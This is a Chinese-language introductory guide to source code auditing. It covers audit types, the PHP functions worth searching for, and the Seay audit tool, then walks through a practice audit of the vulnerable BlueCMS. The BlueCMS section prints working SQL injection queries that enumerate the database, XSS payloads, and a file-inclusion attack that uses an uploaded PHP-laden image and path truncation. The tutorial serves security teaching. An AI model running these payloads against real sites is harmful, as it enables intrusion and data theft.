代码审计入门与实践指南

一、代码审计基础概念

1.1 代码审计定义

代码审计是在编程中对源代码进行检查，旨在发现错误、安全漏洞或违反编程约定的过程。简单来说，就是寻找代码中可能存在问题的地方，并验证是否真的存在漏洞。

1.2 审计分类

代码审计主要分为三种类型：

1. 白盒测试：

   • 已知产品的内部工作过程
   • 可以直接查看源代码
   • 测试每种内部操作是否符合设计要求
   • 审计相对容易

2. 黑盒测试：

   • 仅知道产品的功能设计规格
   • 无法查看源代码
   • 通过功能测试验证安全性
   • 例如：测试留言板的XSS、登录界面的SQL注入

3. 灰盒测试：

   • 介于白盒与黑盒之间
   • 测试时结合代码查看
   • 大多数代码审计采用这种方式

二、代码审计方法论

2.1 了解CMS结构

每个CMS都有大量文件，审计时应关注重要目录和文件：

• 关键目录：

  • admin - 后台管理目录
  • install - 安装目录
  • api - 接口文件目录
  • data - 数据处理目录
  • include - 全局包含文件
  • template - 模板目录

• 重要文件类型：

  • 函数集文件：通常包含functions或common关键字，包含公共函数
  • 配置文件：通常包含config关键字，包含数据库等配置信息

2.2 寻找关键词

审计时应关注以下关键词：

1. 命令执行：
   system、shell_exec、passthru、popen、proc_open

2. 文件包含：
   require、include、require_once、include_once

3. 变量覆盖：
   parse_str、mb_parse_str

4. 代码执行：
   eval、assert、preg_replace

5. 文件操作：
   file_get_contents、file_put_contents、move_uploaded_file、unlink、delete

6. SQL注入：
   SELECT...FROM...WHERE、UPDATE...SET...WHERE、character_set_connect='gbk'（可能导致宽字节注入）

7. XSS：
   重点关注留言板、新闻编辑等用户输入区域

8. 任意文件删除：
   unlink函数

2.3 审计工具

推荐使用Seay源代码审计系统：

• 可搜索特定关键词快速定位漏洞
• 具有自动代码审计功能
• 下载地址：https://github.com/f1tz/cnseay

三、BlueCMS审计实践

3.1 环境搭建

• 使用phpstudy 2018 + PHP 5.5.38 + MySQL 5.5.53
• 源码地址：https://github.com/source-trace/bluecms
• 安装注意事项：
  1. 开启"允许目录列表"
  2. 删除install/compile下的php文件

3.2 漏洞分析

1. SQL注入（ad_js.php）

• 漏洞文件：ad_js.php
• 漏洞点：$ad_id参数未过滤直接拼接SQL
• 利用方式：

  ad_id=-1 union select 1,2,3,4,5,6,database()
  ad_id=-1 union select 1,2,3,4,5,6,(select group_concat(table_name) from information_schema.tables where table_schema=database())
  

2. XSS漏洞

• content参数XSS：

  • 文件：user.php
  • 过滤函数filter_data不完善，仍可通过``、<svg>等标签触发
  • 利用payload：

    
    <svg onload=alert(1)>
    

• guest_book.php XSS：

  • 通过page_id参数触发
  • 利用payload：

    "><script>alert(1)</script>
    

3. 文件包含

• 文件：user.php
• 利用方式：
  1. 上传恶意图片（内容为PHP代码）
  2. 使用路径长度截断包含：

     ?act=edit_user_info&face_pic=../../upload/face/xxx.jpg..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................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